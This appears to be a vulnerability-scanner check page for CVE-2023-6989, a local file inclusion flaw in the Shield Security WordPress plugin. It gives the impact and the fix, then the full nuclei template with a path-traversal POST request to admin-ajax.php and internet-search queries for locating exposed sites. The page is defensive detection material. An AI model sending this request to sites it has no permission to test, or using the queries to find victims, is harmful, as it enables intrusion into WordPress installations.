Shield Security WP Plugin <= 18.5.9 - Local File Inclusion

criticalseverity

9.8CVSS score

56.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.

Impact

Unauthenticated attackers can exploit local file inclusion via render_action_template to execute arbitrary PHP code, potentially compromising the entire WordPress installation.

Fix

Update Shield Security plugin to version 18.5.10 or later.

How to confirm it

Send: POST /wp-admin/admin-ajax.php
Positive when: contains "\"dashboard_shield\"" and "\"shield_action\"" and "\"search_shield\"" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2023-6989 -u <target>

The full check

id: CVE-2023-6989

info:
  name: Shield Security WP Plugin <= 18.5.9 - Local File Inclusion
  author: s4e-io
  severity: critical
  description: |
    The Shield Security Smart Bot Blocking & Intrusion Prevention Security plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 18.5.9 via the render_action_template parameter. This makes it possible for unauthenticated attacker to include and execute PHP files on the server, allowing the execution of any PHP code in those files.
  impact: |
    Unauthenticated attackers can exploit local file inclusion via render_action_template to execute arbitrary PHP code, potentially compromising the entire WordPress installation.
  remediation: |
    Update Shield Security plugin to version 18.5.10 or later.
  reference:
    - https://wpscan.com/vulnerability/a485aee7-39a0-418c-9699-9afc53e28f55/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-6989
    - https://github.com/fkie-cad/nvd-json-data-feeds
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-6989
    cwe-id: CWE-22
    epss-score: 0.56567
    epss-percentile: 0.99067
    cpe: cpe:2.3:a:getshieldsecurity:shield_security:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: getshieldsecurity
    product: shield_security
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-simple-firewall
    fofa-query: body=/wp-content/plugins/wp-simple-firewall
    publicwww-query: "/wp-content/plugins/wp-simple-firewall"
  tags: wpscan,cve,cve2023,wp,wordpress,wp-plugin,lfi,shield-security,getshieldsecurity,vuln

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        action=shield_action&ex=generic_render&exnonce=5a988a925a&render_action_template=../../icwp-wpsf.php

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"dashboard_shield"'
          - '"shield_action"'
          - '"search_shield"'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from